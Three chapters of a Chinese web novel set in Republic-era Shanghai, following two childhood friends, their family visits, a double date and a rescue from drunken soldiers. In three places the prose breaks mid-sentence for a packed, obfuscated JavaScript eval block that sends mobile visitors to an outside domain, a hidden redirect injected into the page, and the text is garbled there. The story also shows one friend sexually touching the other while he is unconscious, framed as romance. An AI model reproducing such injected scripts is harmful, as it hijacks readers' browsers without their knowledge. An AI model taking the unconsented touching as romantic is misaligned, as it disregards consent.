袁闵礼摆手,“没事,绍伦醉了也不折腾人。不早了,你们也早点休息。四小姐今天受惊了,阿良你去厨房给她要一碗牛乳,喝了再睡。” 阿良答应着,搀着方颖琳的胳膊往楼下走,方颖琳有些郁郁寡欢,“大哥都是为了我,才喝成这个样子。” 虽说那两个卫兵不住道歉,但她受了惊吓,不愿再下舞池,阿良陪她在包厢听曲吃小食,想尽了办法也不能令她展眉。 阿良一个劲的宽她心,“四小姐千万别自责,大少爷最爱喝酒了,在东瀛也经常喝,跟三岛少爷只要碰面,必定是要喝醉的,你别太担心……” 他偷眼觑着她紧蹙的眉头,愤慨弥漫上心头,“都怪阿良无用,打不过那俩兵痞……” “怎么能怪你,”方颖琳听他自责,抬起眼,“我是在想,今儿是碰上我们,有大哥护着我们,要是碰上别人呢?可不就让他们欺负去了?迟早一天要没有这些人才好呢。” “嗯!等回了月城,阿良要跟着教头好好习武,再有这种坏蛋我要把他们通通都打趴下!”阿良看着她明亮的双眼,攥起了拳头。 “绍伦,绍伦……”袁闵礼轻拍着方绍伦的面庞,那壶花雕他只喝了两小杯,之后到郭冠邦的包厢又着意控制,只有三分醉意,但假作不甚清醒的样子,倒在方绍伦肩头,“绍伦……你再不答话,我可脱你衣服了啊……” 方绍伦当然不会回答他,他两颊酡红,眉梢眼角都泛着红晕,鼻息之间是浓浓的酒香,已醉得实实的了。 袁闵礼于是撑起身体,帮他脱下西服,又一粒粒解开衬衫的扣子,在那白皙的流光里凝望了半晌,才拉过被子给他盖上。 真丝缎面的被褥间仰卧着一张芙蓉玉面,肌肤绸缎般光滑,即使沉醉眉目之间亦一片清明,傀俄若玉山之将崩。 袁闵礼呆怔般凝视着,绍伦啊,你仍如明月照耀松间,又如清泉在山石间流动,而我,却已踏入这污泥地里…… 他垂下头,良久不语,拳头却渐渐的捏紧了。 总角相交,他很清楚方绍伦的酒量,这样的机会,将明月揽入怀中,将污足伸入清泉的机会,千载难逢。 他抬起一双猩红的眼睛,终于忍不住伸出了两根手指,反复描摹着他的眉眼,顺鼻梁而下,游弋至唇角,不断的摩挲犹疑,沿着那微启的唇线钻进了温暖潮湿的所在…… —————————————————————— 夜深人静,冬夜的街头到处蜷缩着流浪汉,在寒风中瑟瑟发抖。 租界里的小公馆却是温暖馨香,电灯照得各处通明透亮,白慧玲裹着长睡袍走下楼梯,叫张妈做醒酒汤,“多搁些甘草和陈皮,三爷今天喝了不少酒。” 庭院里传来低低呼喝声,十来个着北军服制的侍从还在做俯卧撑,她打着哈欠走过去喊停,“三公子让你们下次招子放亮点,再丢他脸面,绝不轻饶。” 她一身丝绒睡袍在电灯昏黄的光线里泛起绮丽的流光,几个侍从官都吞着口水,有个壮起胆子,“是是,多谢白小姐替我们求情。”换来美人掩嘴一笑。 白慧玲亲自端了醒酒汤回到房间,一勺勺喂给歪在枕上的人,郭冠邦醒了点神,推开碗盏,“没想到方家这小白脸还挺能喝!” 又咂了咂嘴,“长得也挺好,袁二公子就极不错了,这方大公子还要胜上三分,西南倒是出美男子。” 郭冠邦眼前晃动着那张玉雕粉面,以及酒醉后薰红的一段白腻脖颈。郭三爷不止爱捧舞小姐,也爱捧戏子优伶、书寓先生。 白慧玲恍若不曾听出他语气里的那点狎昵,点头道,“那是自然,他与袁闵礼有‘耀华双壁’之称,当时我们女校给他们写情书的女学生可是不少。” “哦?包不包括白小姐呀?”他轻佻的抬起她的下巴。 白慧玲轻挥开他的手,“我?”她柳眉挑起,“我用得着给别人写情书?别人写给我的还看不过来哩。”这倒不是夸张,四朵金花以白慧玲为首,确实是中西女校最受欢迎的女生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郭冠邦扶她到沙发前坐下,“眉目是有,但到底是人命关天的大事,不得实证,我也不便向你提起。”他剑眉紧锁,满脸为难。 白慧玲岂能罢休?撒娇卖痴,一再纠缠,又连声道,“那些日子家中颇不太平,我虽是女儿家,但父亲与哥哥们不时密议,我也瞧在眼里。三爷若有疑心的对象,与我分说分说,保不齐能核对一二。” 郭冠邦点头,“也是有理。那我便说了,但到底如何,还有待查证。”他说话向来是滴水不漏的,“前年年末闽城郑家是不是曾向你求亲?” “郑家?”白慧玲皱眉思索,“确有此事,但家父未曾答应,郑公子我见过一面,黢黑面皮……”言下之意,她未曾相中,“此事便不了了之,之后也再未提起。” “郑氏为何上门提亲?你可想过?”郭冠邦温声替她分析,“郑家盘踞海上多年,白家的面粉粮油是不是大多走海路输送?” “是。”白慧玲点头,“这也是家父当时考虑这段婚事的原因。” 白父当然知道这段联姻对家族事业有助益,但因爱女不喜他也不曾强求。 “那你可知,郑氏近日与关家结成了姻亲?”郑氏是海运龙头,而关家掌管海防多年。 “关家与苏家又是亲家,如今白氏旁落,苏家原本只剩个空架子,倒又赫赫扬扬的抖起来了,一家失利一家得利,这其中或许有些缘故?”郭冠邦温和的面庞上是微微疑惑的神情。 “苏家?”白慧玲皱眉,同为四朵金花之一,她与苏娅萍自然相识,但算不得闺中密友,她家出事不久,苏娅萍嫁给了关五爷为填房,她彼时在病中,身上又有重孝,自然不曾去参加她的婚礼。 但苏家大小姐会嫁给那个大烟鬼为继室,这事本身就透着不寻常。 郭冠邦将凝神思索的白慧玲搂入怀中,“慧玲,你别太伤神,这事我既应了你就会管到底,定会帮你查清楚给你个交待的。”温软的唇滑入那段同样白腻的脖颈中。 13. 第 13 章 方绍伦第二天起来直喊头疼,两种酒混着喝,特别容易上头。他口干舌燥,全身都黏黏糊糊,极不爽利,袁闵礼替他摁电铃让客房先送热水上来洗澡。 全身都浸泡在浴桶中才稍稍消了疲累,方绍伦觉得右腿根有些酸痛,他那处长了一颗朱砂痣,胎里带来,小拇指甲盖大小,今日触之有些疼,跟被反复吮吸过似的。 “闵礼,我昨晚是不是撞哪了?”他在浴室冲袁闵礼扬声问道。 “这倒不曾留意,怎么了?哪里不舒服?”客房烧了热水汀,袁闵礼只穿了身绸缎睡衣,手里夹着根烟,走到浴室门口,靠在门框上,笑眯眯的看着他。 “大腿这儿跟青了一块似的……” “哪里?我看看。” 方绍伦“哗”一声从水中抬起一条腿,关键位置隐在水下,一只手指着那块红斑给他看。两人同寝同室,经常同厕,他丝毫不觉得有什么尴尬。 袁闵礼目光在那条笔直修长的腿上拂过,看着自己昨晚嘬弄出来的印记,彼时方绍伦即使深醉,两条长腿也在被褥间蹬了两下,嘴里发出难耐的哼唧声,令人愈发控制不住…… 他喉头滚动,轻咳一声,“是不是撞茶几上了?你昨儿醉得厉害,我都搀不住你。” 方绍伦脑海里闪现几帧画面,喝完花雕喝洋酒,郭冠邦又极为热情,昨夜确实醉得深了,在包厢起身时,似乎是撞到了茶几边角上。 他不以为意,泡过澡,换上绸缎睡衣,坐在床头按着脑袋。 那睡衣薄薄一层裹着他,显得肩若削成,腰如约素。 袁闵礼走过去,伸出手指替他按摩揉捏着,轻笑道,“以后可不能喝这么多了,喝醉了让别人趁机占了便宜怎么办。” “那也只有我占别人便宜的份。”方绍伦丝毫没有感受到头顶那束灼热的目光。 “笃笃笃”的敲门声过后,阿良端了碗橙红色冒着酸气的浓汤跑进来,“少爷,赶紧的,趁热喝!” 趁他洗澡的功夫,阿良从药店把几味中药配齐了,又借饭店的厨房给他熬了碗醒酒汤,“昨晚没喝这个头疼了吧?还是这百年老方子灵,喝完休息一会保准就没事了。” 袁闵礼看他跑上跑下,机灵能干,夸奖道,“阿良越发长进了,还知道配中药了。” 阿良摆手,“我可不会,是三岛少爷给的方子,他知道我们家少爷爱喝酒,回来肯定少不了应酬,非得逼着我把这方子背熟了,上船之前还考我哩。” “三岛少爷?”袁闵礼微皱长眉,转头向方绍伦道,“就你信上说的那个三岛春明?” 方绍伦点头,“他也是爱酒人士,他家在京都有一个藏酒窖,里头有不少百年佳酿,送给你的‘罗浮春’就是从他家酒窖拿的。” 他端起醒酒汤一饮而尽,应该是有些酸,眉毛眼睛都皱一块了。 袁闵礼从茶几上的方盒里拈了一粒话梅糖塞到他嘴里,手指触到一个温软的舌尖,整个手掌都忍不住抖了抖。 方绍伦却没察觉到异样,舌尖裹着那粒糖,咂着嘴,“春明人很好的,家学渊源,他对国学的造诣常令我汗颜……” 阿良在一旁插嘴,“三岛少爷是‘华国通’,还会唱戏哩,他跟少爷唱《霸王别姬》唱得可好了,那词一递一递的,我在旁边对话本子,一句也没唱错。” “他一个东瀛人,竟然会唱戏?”袁闵礼挑起眉毛。 方绍伦会唱几句他是知道的,而且唱得十分不错,可以算一枚正经的票友,一个东瀛人也会唱华国的京剧,委实令人讶异,他淡笑道,“你还在东瀛带了个徒弟出来了?” “哪里哪里,”方绍伦摆手,“我去东瀛前你不是送了我几张百代的唱片吗?春明对我们华国的传统戏剧很感兴趣,经常拿留声机放来听,听得多了自然就学会了。他本来于语言一道就极有天赋,可不是我的功劳。” 方绍伦拿阿良那个大嘴巴一点办法都没有,他看袁闵礼的神色是不太高兴的样子,忙解释了一通,友情里有时也有争风呷醋哩。 袁闵礼脸上仍是淡淡的,睨了他一眼,“带个徒弟倒不要紧,就是不知道绍伦,你是唱的虞姬呢?还是霸王呢?” 方绍伦很有些心虚的垂下眼帘,“都唱都唱。三岛家族在沪城几家纱厂有股份,春明过一两年也会来华,到时候介绍你俩认识。” 他留洋三年,结识了不少东瀛人士,三岛春明是其中佼佼者。 房门被轻轻叩响,饭店经理送了两封拜帖上来,方绍伦展开一看,一封来自徐府,一封来自魏府,都邀请他过府晚宴。 他略一思索,便向袁闵礼道,“徐家是客居沪城,置办席面自然没有魏家来的方便,我们不如下午早些去拜访徐世伯,再去魏公馆用晚餐,如何?” 袁闵礼自然称好,又补充一句,“你不敢去徐家吃饭,是怕徐二小姐追着你跑吧?放心,人家早嫁人了。” 方徐两家虽然也是世交,但徐家只一位公子,年纪比他们大上好几岁。同龄的俱是小姐,徐侯林起过心思想把他家二小姐嫁给方绍伦,但是二小姐姿容欠佳,方绍伦见过一次没相中,方学群也不强求,此事就不了了之。 袁闵礼还拿这事调侃,方绍伦踢他一脚,起身洗漱去了。 在饭店用过中饭,方绍伦和袁闵礼拾掇了一下,打电话到车行租了一辆小汽车,拎上早已准备的礼盒,先去徐府。 汽车开进公共租界,穿过几条小巷子,拐进了一个弄堂,不是正街的门面,四尺宽的门扉,斑驳的木门上方悬着“徐府”两个墨字。 戴着眼镜的老门房从旁边的小间里探出头来,眯着眼睛看了半晌,大概想起昨天收到的拜帖,先走到正堂招呼了一声,从里头把木门打开了。 方袁二人迈步庭院,本是冬季草木萧条,这庭院里只有两盆松柏在寒风里强撑着绿意,廊下一盆吊兰已半数枯黄。 正堂走出来一个三十岁左右的男人,不疾不徐的迎上来,口称“绍伦贤弟、闵礼贤弟。” 这是徐家长子,名徐贤字敦惠,方袁二人看他穿长衫唤旧称,便也拱手行礼,唤“敦惠兄”。 徐侯林只此长子堪承家业,只可惜他土匪出身,发迹后十分仰慕有学问的人,得了儿子,极小就请了私塾先生在家中教导,据说要求儿子侍师如父,动辄得咎便是家法处置。 生生将这个儿子教成了书呆子,后边几个一溜女儿,再得了个儿子年纪又极小,将门缺虎子,大概也是下野的原因之一。 徐敦惠请二人堂中坐下,仆役奉上茶水点心,他满脸歉意,“家父自入冬以来,身子便不大好,请恕不能陪坐说话了。” 方绍伦和袁闵礼对视一眼,站起身,“徐伯父病了?方不方便探望一二?” 他们有通家之好,自然无需避讳,徐敦惠领着二人穿过厅堂径直入了后院。 东进的大隔间里门帘拉得严严实实,才一走进便有一股子酸腐气息扑面而来,方绍伦忍了忍,才跨过门槛。 徐侯林躺在靠窗的大床上,几床厚被加身,侍疾的姨娘赶忙回避,他冲行礼的二人摆了摆手,“不必多礼。绍伦,你几时回来的?” “回伯父的话,半月有余了,家父听说伯父寓居沪城,十分放心不下,特特的叮嘱我一定上门来拜访,替他老人家聊表问候。” “唉,此番又让学群兄跟着劳心了,等某病愈再去月城共商大事……学群兄今年也是病体难安,你回去转告,请他安心休养,不必以我为念……” 几句客套话,徐侯林都说得有气无力。隔着辈分没有太多共同语言,各自表达完问候,说完场面上的话,方绍伦和袁闵礼便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392321|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退出了房间,稍坐片刻后起身告辞。 等回到车上,二人一同坐在后座,方绍伦叹息道,“我记得四五年前徐世伯还跟我父亲一道打猎,侍从簇拥,卫队跟随,十分威风,如今……”寓居这样小小一所院落,满目皆是败落的光景。 袁闵礼点点头,“如今世道手上没点东西,哪里还唬得住人?” 徐侯林通电下野,自然卸了兵权,桂西已落入他人之手,能得一寓所颐养天年,已经是江湖上这点子人情世故在撑着了。 关于这一点,袁闵礼的感悟自然要远甚于方绍伦,方家正如日中天,袁家却已是过眼云烟。 方绍伦抬头看着他略带郁卒的眉眼,也不知该如何宽解。 好在张定坤已经表明不会交出北边的药材进货渠道,袁闵礼不必再跟着他跑。 “闵礼,年后棉纱厂这块你来负责组建吗?” 袁闵礼摇头,“我可负责不了。二公子负责,我从旁襄助。” 不是负责不了,是方学群不会交给他负责。 方绍伦有些歉疚又有些无奈的看向袁闵礼,他当初不愿接手家业,执意远赴东瀛,何尝不是预见到这一点。 方家想在西南称雄,大力压制袁家是必然的事情,商场本无情谊可言。一块糕饼,不是你吃就是他吃,能自己饱腹之余漏点残渣给别人,已算仁慈。 方绍伦不在其位可以不谋其政,却没有办法指摘方学群的蚕食之策,也轮不到他来指摘。 如今这世道,慈不掌兵,花团锦簇之地亦是危乎高崖之侧,稍有不慎便有临渊之险,徐家落到今天的境地不过两三年间,方学群再三叮嘱他来探望,未曾没有警醒之深意。 袁闵礼观他眼神便懂他心意,未有半句怪责之语,反倒拍拍他肩膀,转了话题,“我看徐世伯这光景,只怕是点灯熬油之像。” 徐侯林的气色确实不好,三五句话已是气喘如牛,面上却灰败一片,半点血色也无。 三姨娘掌家是极妥帖的,礼盒中备了一只百年老山参,若危急之时能吊得半口气,也算略尽绵力了。 两人回到美东饭店,已经是下午五点钟,接上方颖琳和阿良,又拎上给魏府的礼品,径直往魏公馆赴晚宴。 去完徐府,再到魏公馆,简直是极鲜明的对比。 魏公馆位于法租界内,由一幢中式两层石库门宅邸和三幢中西合璧风格的楼房组成。 沪城不比月城,地界没有那么开阔,算不得豪宅,但外墙纹饰精美,内部装修极为奢华。 魏世伯穿着家常的寿字团纹马褂,端坐太师椅上,管家递上盖碗茶,他掀盖撇去浮沫,细细打量着方绍伦,“元哥留洋一趟回来,越发的标致了。你爹也是,拢共就这么两个儿子还舍得送一个去那九洲外国……” 管家在他耳边小声的提点,他也想起来,“哦,去年老七老八又给他各添了一个,这不还小嘛,得用的也就绍伦跟绍玮了。” 他看向方绍伦的眸子里流露着满意,“你爹到底文化人,我们大老粗是比不了,就只想儿孙在跟前阖家团圆。绍伦,你爹都舍得让你去东瀛了,不如到沪城来?伯伯给你谋个职位。” 魏方两家是世交,对于方学群在两个儿子之间摇摆,最终定下方绍玮继承家业的事情,魏司令当然是很清楚的。 他其实一向更看好方绍伦,但周家势大也是事实,何况方学群与原配夫人伉俪情深,定下嫡子继承家业也是合情合理。 魏家人丁兴旺,除了魏二公子入了军政府,魏三公子在定城郭家手下任职,老大和老四都在自家地盘上管事。 魏司令希望方绍伦到沪城来,若能结个翁婿是最好,转头向管家道,“去,派个人催催她们姐妹,一天到晚的磨磨蹭蹭,客人都在座了,主人还没影,真是失礼得很。” 14. 第 14 章 魏府的晚宴席开三桌,大圆桌面上八宝鸭、红烧蹄膀、水晶虾仁、白炸鸡、素蟹粉都是沪城经典的菜色。 魏家人丁兴旺,光成年的儿子就有四个,除了供职在外的两位,剩下世勋、世茂两兄弟都在座,都是旧识,无需热络,频频与方绍伦、袁闵礼举杯。 女儿数目更是不知繁几,列席的都是受宠的,个个打扮得花枝招展。 除了六小姐静芬,还有七小姐静怡到了适婚年龄,之前其实都有打过照面,但魏司令还是极正式的又给他们互相介绍了一下。 两位小姐去年今年先后从明安女中毕业,十七八岁的年纪,像春天柳树枝上发出的新芽,鲜嫩柔美,又擅言谈,跟方颖琳聊得颇为投机。 散席的时候,方颖琳一手牵着静芬一手牵着静怡,兴致勃勃的走过来,软语恳求,“大哥,请我们看电影呗,据说今天好莱坞大戏院在放《玉梨魂》呢。” 这个据说自然是据魏家两位小姐所说了。 方绍伦还未答言,魏司令先发了话,“你们年轻人就爱这些时髦玩意,看看电影也好,去吧,让门房给你们安排两台车。” 魏司令与方学群全然不同,他行事洋派,对子女们的管教也要随意许多。 所有娱乐项目里头,方绍伦最不爱看电影,他实在搞不懂,黑白的无声的电影到底有什么趣味,他那时跟袁闵礼一起陪苏小姐和丁师姐看过一次《红粉骷髅》,这之后对于看电影这项活动是敬谢不敏的。 但魏司令发了话,小姐们又一脸期待的表情,他和袁闵礼只好带上两位小姐一块去了乍浦路的好莱坞大戏院。 一台车太挤,有两台车便把阿良也捎上了,三位女士坐一辆,三位男士坐一辆。 原本想着一百五十分钟也不是很难熬,结果凳子上长了钉子似的,死活坐不住,阿良又太能干,开影不到五分钟就跑前跑后的把买瓜子买汽水的活都干完了,方绍伦只好频频起身抽烟。 等散场的时候,三位小姐都非拉着袁闵礼坐她们那台车不可,据说是有很多影片的细节要讨论。 剩下方绍伦和阿良坐一台车上,大眼瞪小眼。 “唉,少爷,不是我说你,你也太不会哄小姐们开心了。”阿良一脸的恨铁不成钢,“您也跟闵礼少爷学学吧,您看他把魏家两位小姐哄得多么开心,看电影的时候我可看见了啊,他还跟静怡小姐说悄悄话呢,出来又给她们买花……” 出电影院的时候,门口站着卖花的小姑娘,冬季的花卉不算多,几朵山茶花被小姑娘宝贝似的装在玻璃纸里头。 袁闵礼看她穿得单薄,全买下了,又多给了几个钱。然后借花献佛,三位姑娘刚好一人两朵。 方绍伦被他的口气逗笑了,“嘿,你这孩子,瞎操什么心哪,你闵礼哥哥的手段是学得来的?人家是天生的。” 袁闵礼天性就有这么温柔体贴,小的时候方绍伦跟一帮男孩子在那边打弹珠、斗鸡、玩三毛球,他跟一帮女孩子一块跳皮筋、踢毽子、抓棋,女孩子们偶尔是有点小心眼的,但跟袁闵礼一块就绝不会闹矛盾,都抢着跟他玩。 等他们在耀华读书,袁公子收的情书比他多得多,方绍伦是一点也不意外的。 不过袁闵礼与他同龄,他是留洋耽搁了,袁闵礼怎么还没定亲呢? 晚上躺饭店床上,两个人敞着中间的隔门说话,“闵礼,你不会还惦记着苏小姐吧?家里头不催你的婚事?” 袁闵礼倚在床头,烟头橙黄的微光照亮他俊俏的脸庞,“怎么不催?我只要回去,我娘是回回都要念叨,但是我这情况你又不是不知道,高不成低不就的。” 他这话说得实在,家世门第比他强的,知道袁家如今的光景,多半不肯下嫁。比他差的嘛,袁母也不一定看得上。 “阿良说,今天看电影的时候,看到你跟静怡小姐说悄悄话哩。你不会想娶魏家的小姐吧?”方绍伦从床头探出脑袋。 魏家的门第肯定是顶合适的,魏司令原配早死,姨娘一堆,他本人没什么嫡庶之分,对子女一视同仁。 袁闵礼很清楚方绍伦脾性,他故意咬着烟头不吭声,方绍伦果然耐不住话,像念书时候那样,几步跨到他床上来。 尽管房间里烧着热水汀,在冬天也不够暖和,方绍伦穿着薄薄一层睡衣,吸着凉气,塞到他被窝里。 袁闵礼从烟盒子里抽出一只烟来,点燃了放到他唇边。 方绍伦吮吸一口,缓缓吐着烟圈,“真看上那静怡小姐了?”他仔细的回想了魏静怡的长相,“好像还没有静芬小姐漂亮哩。” “漂亮的不得留给你呀?”袁闵礼睨他一眼。 “瞎说,”方绍伦转头把烟雾呼到他脸上,“你看上谁就追谁,我对两位小姐都没什么想法。” “我看上有什么用?”袁闵礼摆手拂了拂,垂下眼眸,“魏司令只怕不会肯,你才是人家眼里的乘龙快婿。” “你说别人我不敢打包票,但魏伯伯是一定不会。”方绍伦给他鼓劲,“我爹的几个结拜兄弟都喜欢绍玮,只有魏伯伯更喜欢我哩。再说了,现在不是提倡自由恋爱么,要是静怡小姐心悦你,魏伯伯应该也不会阻拦。” “可是我看方叔应该是很想你跟魏家结亲的。”他们临来沪城的时候,方学群反复叮嘱方绍伦要记得去魏公馆拜访。 “哎呀,你管他呢,你若看中了只管求娶,我的缘分还不知道在哪里,反正听我爹的,你就别操心了。”方绍伦要起身回自己床上去睡,袁闵礼一把拖住他,“就睡这吧,我还想跟你说说话哩,你说我们明天要不要请她们出来跳个舞?” “这倒是个好主意,颖琳昨晚没跳尽兴,有两位小姐作陪想必可以畅快些。”方绍伦于是又滚回被窝里,跟袁闵礼计议。 袁闵礼在暗夜里窥视着那张瓷白的面庞,看红唇一张一合,完全没有听清楚他说的内容,只是习惯性的点头附和着。 ———————————————————— 第二天,方绍伦挂电话到魏府去,邀请两位小姐先吃晚饭再到美东夜总会跳舞,魏司令自然答应。 他们先找了一家本帮菜馆,把阿良和方颖琳留在包厢里点菜,他再和袁闵礼一起去接两位小姐。 魏静芬和魏静怡都比前一日打扮得更为出挑艳丽,一上车馨香扑鼻。 只要有袁闵礼在,是绝不会冷场的,他不但自己口若悬河,也绝不肯冷落兄弟,总是穿插着要方绍伦讲讲东瀛的趣事。 “哪里那么多趣事讲,我每天都在学校里,枯燥得很。”方绍伦不肯抢他风头,再说自从回国,应酬见朋友的场合总在讲“东瀛趣事”,早讲腻烦了。 “或者讲讲你那位三岛兄弟也是可以的。”袁闵礼瞥他一眼。 “三岛兄弟?”魏静怡比姐姐要活泼许多,她喜欢一切新奇洋派的东西,对留学也很有兴趣,但魏司令是绝不肯送孩子留洋的,尤其女孩子家去那么远,提都可以不用提。 “是东瀛人吗?据说东瀛人很坏的,他们提出二十一条。”这是几年前的事,自从签订这个条约后,华国人对东瀛的憎恨情绪达到了顶点。 方绍伦点点头,“东瀛野心是不小,东瀛人嘛有几个还不错,三岛春明是我在东瀛的一个朋友。” 魏静怡轻哼一声,“跟东瀛人交朋友吗?看样子方世兄对朋友的标准不是很高嘛。”她轻轻抬起下巴,杏仁眼微微斜着看过来。 如果是袁闵礼必然要解释两句再换个话题,方绍伦毫无觉悟,“华国人里面有坏人,东瀛人里面也有好人,哪能一概而论?三岛春明是我的朋友,他人挺好的……” “方世兄再说东瀛人的好话我可就要下车了哩。”这下魏静怡也有点动气了,冷笑一声,转过白嫩的脖颈,看向窗外。 袁闵礼在一旁笑道,“七小姐下车可不行,我等会还想约七小姐跳一曲狐步舞呢,不知道有没有这个荣幸?探戈我是不太会的,但七小姐一定是舞林高手。” 他自然是替方绍伦解围,就没有袁公子不会跳的舞。 他递梯子,魏静怡接下了,甜笑的转脸向他,“我哪里是舞林高手,六姐就比我跳得好。” 魏静芬一直在一旁安静倾听,闻言忙摆手,“我不行的,也就是勉强会跳,姨娘请了舞蹈老师到家里教我们。”魏府也是姨娘当家。 等到吃饭,方绍伦和魏静怡又杠上了。八宝鸭就两条腿,阿良先夹了一只给方颖琳,等魏静怡伸筷子,方绍伦却先她一步夹走了。 魏静怡气得拿筷子戳着饭粒,方绍伦一无所觉的在一旁大快朵颐。 他倒不是故意跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方绍伦皱眉认真思索起来,“这倒是真的,哎,所以结婚有什么好呢?” “是啊,有什么好呢,”袁闵礼望着天上一轮圆月叹道,“可是,绍伦,婚姻是结两姓之好。” 方绍伦不太懂袁闵礼为何一副感伤的样子,“那行吧,我们在沪城再多待几天,多约两位小姐出来走走,回头你要认定了我给你探探魏世伯的口风。” “不着急,约两位小姐去月城做客也可以。”袁闵礼回头笑道,“人的确是要多相交才知道脾性是否相投的。” 方绍伦拍掌,“这倒是个办法,可以让颖琳约她们去月城小住几日。” 二人说说笑笑,路过一处巷子口,蓦地传来几声呼叫,并不太大声,似乎是女子被掩住嘴的呼救声。 两人对视一眼,又走近几步,方绍伦高声喊道,“谁在那里?” 漆黑的巷子深处传来悉悉索索一阵动静,一束手电筒的光扬了过来,两个喝醉的外国士兵晃出半个身影,用英语向他们喊道:“滚开!” 呼救的声音跟着大了些许,“救命……唔……救……”听得出是年轻女子的声音,伴随着衣物撕裂声。 方绍伦和袁闵礼对视一眼,又走近两步,用英语大声问道,“发生了什么事?” 或许是因为方绍伦的英语很流利,两个外国士兵愣了一下,低喊了两声“妓|女”、“少多管闲事”,又从腰间拔出两把手枪|模样的东西,阻止两人再靠近。 袁闵礼钳住方绍伦胳膊,把他往前拖,“绍伦,这事我们管不了,这是在租界的地盘上。” 他低声在他耳边道,“这里两个,巷子里头至少还有一个,三对二,而且他们手上有……”他比了个手势,“咱俩赤手空拳,不是对手。” 他拖着方绍伦走了两步,拖不动了。 方绍伦迈不开脚,巷子里的呼救声清晰可闻,夹杂着痛苦的呜咽。 他抬头看向袁闵礼,低声道,“不行!你想想,如果是颖珊、颖琳或者雨彤、雨婷呢?”雨彤和雨婷是袁闵礼的两个妹妹。 两人眼神对视,袁闵礼叹口气,点了点头。 15. 第 15 章 天边一弯残月,灰蓝的天幕上悬挂着数点寒星,北风呜咽着盘旋,美东大饭店的霓虹招牌下,门房揉搓着惺忪的睡眼,半夜时分最易犯困。 寂静无声的街道尽头隐约传来皮鞋磕地的响声,夹杂着高跟鞋“哒哒”的脆响,两男一女的身影逐渐浮现在夜色中。 三人显然是欢醉归来,女子一丛卷发披散在肩头,踉跄着倒在一个男人的臂弯里,身上却披着另一个男人的西装。 只穿了件衬衫的男人,蓬乱着头发,右手插在裤兜里,左手上夹了根烟,一副风流浪荡公子哥的模样。 经过门房的时候,他将烟叼嘴里,从裤兜里摸出块银洋,丢给门房,做了个“噤声”的手势,门房点头不迭,“是是是,您二位自便。” 这种香艳场景门房已是见怪不怪,猥琐的目光在女子的双腿处睨了一眼,西装外套下的旗袍恐怕开到了腰上,这么冷的天也露着白花花的肉。 “啧啧真是世风日下。”门房暗自感叹,“哎,有钱就是好啊……” 一进房门,袁闵礼将女子往沙发上一推,就去扶方绍伦,目光焦急,“绍伦,你怎么样?” 方绍伦手中的烟掉落到地板上,他“啧”一声,左手把着右手的小臂,将右手掌从裤兜里抽出来,血肉模糊的一片,鲜血已经凝固,五指却仍在轻微发颤。 他冲向巷子深处的时候,肆虐的外国士兵拔枪便射,尽管闪躲及时,子弹仍贴着他的手背飞过去。 袁闵礼端起他右手肘,“我们得马上去医院……” “不行吧,这个点去医院动静太大了,”方绍伦“斯哈”着在沙发前坐下,“那三个洋鬼子还不知道什么来头,等明早再说。” 他转头看向滑坐在沙发边的女子,“哎,你没事吧?知道那些人的来历吗?” 受到惊吓的女子这才反应过来,双膝摆正了,端端正正的给他们磕了三个头,“小女子沈芳籍,谢谢两位恩公的救命大恩。” 方绍伦忙示意袁闵礼不必管他,先去将她扶起来。 袁闵礼抬了一把纤细的手肘,缓声道,“不必客气,刚好碰上了。” 姑娘身段苗条瘦削,隐在乌发中的面容露出来,却是极标致的一张脸,只是还未长开,年岁看上去跟方颖琳差不多,像是刚从学校走出来的女学生。 她自言家住租界附近,因去岁父亲病重,家中两个兄弟要进学,她从教会中学毕业,会跳西洋舞,便下海当了舞女。 那几个英国水兵是美东夜总会的常客,平日倒不算难缠,但只要沾点酒,就要动手动脚,一众舞小姐都是避之唯恐不及。 今日她散场晚了些,路过巷子,撞个正着。那几个水兵喝得醉醺醺,酒壮色胆,不由分说就把她往巷子里头拖。 方绍伦气得咬牙切齿,一巴掌拍茶几上,“真是没王法了!这些王|八羔子……”结果拍的那只受伤的手,痛得跳脚! 袁闵礼忙揽住他,“去医院吧,圣约翰有晚间急诊,肯定有医生坐镇。”几个水鬼倒还不足为惧。 方绍伦捧着一只血呼啦子的手掌,还有闲心在那里问东问西,“你才多大?就出来当舞女了?!” 沈芳籍面庞绯红,双眸垂泪,“十……十七了。” 方绍伦深吸口气,不知道是痛的还是惊讶的。 袁闵礼扶着他肩膀,“绍伦,你别管这些了,先上医院!” 方绍伦其实也疼得钻心,估计伤到了手背的神经,手指头一直抖个不住。 “行,你叫辆黄包车到后门。”他又问沈芳籍,“你有没有……哪里不舒服?” 沈芳籍红着脸摇头,“所幸两位恩公来得及时,不曾……受伤。”只是她衣裳褴褛,旗袍已经被撕扯得不成样子。 方绍伦转头向袁闵礼,“你先挂个电话到颖琳房间,让她上来一下。” 方颖琳已经进入梦乡,被这通电话吵醒,裹着棉睡袍,按她哥哥的吩咐拿了两件裙装过来。进门就被吓一跳,跑到方绍伦身边蹲下,“大哥,你的手怎么了?” 袁闵礼匆匆答道,“我先送你哥去医院。这位是沈芳籍沈姑娘,你给她找件衣服,先照看着吧,等我们回来再说。” 他拿自己开司米的围巾给方绍伦裹了手,又从衣柜里给他另拿了一件西装,披了件大衣,揽着方绍伦肩膀就走,剩下两位姑娘惊慌的相对而望。 